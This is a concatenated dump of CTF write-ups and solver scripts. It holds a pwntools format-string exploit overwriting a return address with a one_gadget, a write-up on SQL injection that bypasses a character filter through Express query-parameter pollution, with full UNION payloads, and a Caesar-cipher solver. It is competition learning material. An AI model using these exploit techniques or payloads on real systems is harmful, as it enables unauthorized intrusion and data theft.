BASE=SYSTEM-0x3d200 12 | one_gadget=BASE+0x3d0e0 13 | RET=BUFFER+0x71 14 | RET2=RET+2 15 | log.info("Writing to: "+hex(RET)) 16 | payload="B" 17 | payload+=p32(RET) 18 | payload+=p32(RET2) 19 | off1=(one_gadget & 0xffff)-9 20 | off2=int(hex(one_gadget & 0xffff0000)[:-4],16)-(one_gadget & 0xffff) 21 | log.info("one gadget address: "+hex(one_gadget)) 22 | log.info("offset1 and 2: "+str(off1)+"|"+str(off2)) 23 | payload+="%"+str(off1)+"x" 24 | payload+="%7$hn" 25 | payload+="%"+str(off2)+"x" 26 | payload+="%8$hn" 27 | #pause() 28 | p.sendline(pad(payload)) 29 | p.interactive() 30 | 31 | 32 | #Offset buffer-ret : +0x61 33 | #offset fmt 7 34 | -------------------------------------------------------------------------------- /WPI CTF 2020/dorsia3/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/WPI CTF 2020/dorsia3/libc.so.6 -------------------------------------------------------------------------------- /WPI CTF 2020/dorsia3/nanoprint: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kahla-sec/CTF-Writeups/2b57f50822e1f073e85998752c65dd2087974ec2/WPI CTF 2020/dorsia3/nanoprint -------------------------------------------------------------------------------- /rgbCTF/Web.md: -------------------------------------------------------------------------------- 1 | # Typeracer (119 Points) # 2 | 3 | ![TASK](https://imgur.com/WA3jGN8.png) 4 | 5 | The task was simple, we have to write the text that is shown so fast, I wrote this Javascript script to simulate keyboard typing :D 6 | 7 | ```js 8 | 9 | var div=document.getElementById('Ym9iYmF0ZWEh').children; 10 | var dict={}; 11 | for(var i=0;i { 38 | res.sendFile(path.join(__dirname, "index.js")); 39 | }); 40 | 41 | app.get("/", async (req, res) => { 42 | if (req.query.q) { 43 | try { 44 | let q = req.query.q; 45 | // no more table dropping for you 46 | let censored = false; 47 | for (let i = 0; i < q.length; i ++) { 48 | if (censored || "'-\".".split``.some(v => v == q[i])) { 49 | censored = true; 50 | q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); 51 | } 52 | } 53 | q = q.substring(0, 80); 54 | const result = await query(q); 55 | res.render("home", {results: result.rows, err: ""}); 56 | } catch (err) { 57 | console.log(err); 58 | res.status(500); 59 | res.render("home", {results: [], err: "aight wtf stop breaking things"}); 60 | } 61 | } else { 62 | res.render("home", {results: [], err: ""}); 63 | } 64 | }); 65 | 66 | app.listen(port, function() { 67 | client.connect(); 68 | console.log("App listening on port " + port); 69 | }); 70 | 71 | ``` 72 | 73 | ## Overview ## 74 | 75 | It's pretty obvious that we have an sql injection here ( we are concatenating the user input ) 76 | > const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`); 77 | 78 | But as we can see some filters are here :'( these characters are filtered : [',-,",.] , after some tries i have figured that it will be impossible to bypass 79 | them so i started looking to some JS tricks. 80 | As we can see the filter function is looping over our input and checks if there are some prohibited characters and then it will replace 81 | them with "*" , For example if we type 82 | > hello"or 1=1 -- - 83 | 84 | Our input will be changed to : 85 | > hello************ 86 | 87 | ```javascript 88 | let q = req.query.q; 89 | let censored = false; 90 | for (let i = 0; i < q.length; i ++) { 91 | if (censored || "'-\".".split``.some(v => v == q[i])) { 92 | censored = true; 93 | q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); 94 | } 95 | } 96 | ``` 97 | 98 | And finally it's using substring function to limit our input's length to 80 characters 99 | 100 | ```javascript 101 | q = q.substring(0, 80); 102 | const result = await query(q); 103 | res.render("home", {results: result.rows, err: ""}); 104 | ``` 105 | Hmmm everything seems okay nah ? but it's a ctf web task we have to find some vulnerabilities ! let's pass to how i did to solve it now, enough boring things 106 | 107 | ## Exploitation ## 108 | 109 | The first thing i thinked about was http parameter pollution in express (read about it **[HERE](https://github.com/expressjs/express/issues/1824)** if you want ) ,briefly when we enter a get parameter multiple times express 110 | has a weird interpretation , it will process this parameter as an array for example here, if we pass this in the query : 111 | > ?q=hello&q=allo&q=fword 112 | 113 | **req.query.q** will be parsed as an array **["hello","allo","fword"]** , so if we go further when we will be iterating of **q** variable we will be comparing each array field with the filters 114 | for example, if we pass this query : 115 | >q="or 1=1 -- -&q=fword 116 | 117 | we will firstly compare **"or 1=1 -- -** and then the second field **fword** with these filtered chars **[',-,",.]** , they are not equal ! , Youupi we can get our flag now as we passed the check . 118 | 119 | Unfortunately , it's not that easy ,have you forgot the substring function ? an array has not a built in substring function so when we reach the substring part this will raise an error so we won't execute the sql query :/ 120 | Javascript weird behaviour will save us this time ! if we do **[]+[]** the result is a string , the sum of two arrays is a string so if we enter a **"** in one query parameter 121 | we will enter this part 122 | 123 | ```javascript 124 | censored = true; 125 | q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); 126 | ``` 127 | and arrays have a built in slice function so the result of **[]+"*"+[]** will be a string , we can now enter our payload with **q='** in the end to ensure that our array will be a string when it reaches the substring part 128 | For example : 129 | >q='or 1=1 -- -&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=' 130 | 131 | will let us pass ! 132 | 133 | **FILTERS BYPASSED SUCCESSFULLY** 134 | 135 | To test the number of q parameters and debug the app , i changed a little bit the source code and hosted the web app locally , you can find the modified source code **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/%C3%A5ngstromCTF2k20/A%20Peculiar%20Query/app.js)** if you want to test :D 136 | 137 | ![TASK](https://imgur.com/upRUoxR.png) 138 | 139 | 140 | The next part is pretty classic , a simple sql injection , we will first dump the columns name (we know the table name from the source code) 141 | > q=%27union%20SELECT%20column_name%20FROM%20information_schema.columns%20--%20-&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=%27 142 | 143 | ![TASK](https://imgur.com/XAVrsrR.png) 144 | 145 | 146 | and finally we find a column named **crime** so our final payload will be : 147 | >HOST/?q=%27union%20SELECT%20crime%20FROM%20criminals%20--%20-&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=%27 148 | 149 | ![TASK](https://imgur.com/7KWe6dF.png) 150 | 151 | And Congratulations ! I want to thank the organizers for this great CTF and fun tasks , i have really enjoyed participating 152 | 153 | -------------------------------------------------------------------------------- /ångstromCTF2k20/A Peculiar Query/app.js: -------------------------------------------------------------------------------- 1 | const express = require("express"); 2 | const rateLimit = require("express-rate-limit"); 3 | const app = express(); 4 | const { Pool, Client } = require("pg"); 5 | const port = process.env.PORT || 9090; 6 | const path = require("path"); 7 | 8 | app.set("view engine", "ejs"); 9 | 10 | app.use(express.static("public")); 11 | 12 | app.get("/src", (req, res) => { 13 | res.sendFile(path.join(__dirname, "index.js")); 14 | }); 15 | 16 | app.get("/", async (req, res) => { 17 | if (req.query.q) { 18 | try { 19 | let q = req.query.q; 20 | // no more table dropping for you 21 | console.log(q); 22 | let censored = false; 23 | for (let i = 0; i < q.length; i ++) { 24 | if (censored || "'-\".".split``.some(v => v == q[i])) { 25 | censored = true; 26 | q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); 27 | } 28 | } 29 | q = q.substring(0, 80); 30 | console.log(q); 31 | res.writeHead(200,{"Content-Type":"text/html"}); 32 | res.end("Hello World"); 33 | } catch (err) { 34 | console.log(err); 35 | res.status(500); 36 | res.writeHead(200,{"Content-Type":"text/html"}); 37 | res.end("ERROOOOOR"); 38 | 39 | } 40 | } else { 41 | res.render("home", {results: [], err: ""}); 42 | } 43 | }); 44 | 45 | app.listen(port, function() { 46 | console.log("App listening on port " + port); 47 | }); 48 | 49 | -------------------------------------------------------------------------------- /ångstromCTF2k20/Shifter/README.md: -------------------------------------------------------------------------------- 1 | # **Shifter (160pts) (455 Solves)** 2 | 3 | ![TASK](https://imgur.com/SZjr2vw.png) 4 | 5 | When we connect to the netcat service we get this message 6 | 7 | ![JWT](https://imgur.com/MMLIhgh.png) 8 | 9 | So the task is pretty simple , it just needs some coding skills , here is my solver 10 | 11 | ## **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/%C3%A5ngstromCTF2k20/Shifter/exploit.py)** 12 | 13 | -------------------------------------------------------------------------------- /ångstromCTF2k20/Shifter/exploit.py: -------------------------------------------------------------------------------- 1 | import re,time 2 | from pwn import * 3 | fiob=[0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368, 75025, 121393, 196418, 317811, 514229, 832040, 1346269, 2178309, 3524578, 5702887, 9227465, 14930352, 24157817, 39088169, 63245986, 102334155, 165580141, 267914296, 433494437, 701408733, 1134903170, 1836311903, 2971215073, 4807526976, 7778742049, 12586269025] 4 | def caesar_encrypt(realText, step): 5 | outText = [] 6 | cryptText = [] 7 | 8 | uppercase = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] 9 | lowercase = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] 10 | 11 | for eachLetter in realText: 12 | if eachLetter in uppercase: 13 | index = uppercase.index(eachLetter) 14 | crypting = (index + step) % 26 15 | cryptText.append(crypting) 16 | newLetter = uppercase[crypting] 17 | outText.append(newLetter) 18 | elif eachLetter in lowercase: 19 | index = lowercase.index(eachLetter) 20 | crypting = (index + step) % 26 21 | cryptText.append(crypting) 22 | newLetter = lowercase[crypting] 23 | outText.append(newLetter) 24 | res="" 25 | for el in outText: 26 | res=res+el 27 | return res 28 | 29 | #code = caesar_encrypt('IHKBRWWKEM', fiob[9]) 30 | #print code 31 | n=0 32 | connection=remote("misc.2020.chall.actf.co",20300) 33 | a=connection.recvuntil(":") 34 | while n<50: 35 | print "[+] Sending answer n:"+ str(n) 36 | pattern="Shift(.*)" 37 | match=re.findall(pattern,a)[0].split(" ") 38 | tosend=caesar_encrypt(match[1],fiob[int(match[-1][2:])]) 39 | connection.send(tosend+"\n") 40 | n=n+1 41 | if n==50: 42 | a=connection.interactive() 43 | a=connection.recvuntil(":") 44 | --------------------------------------------------------------------------------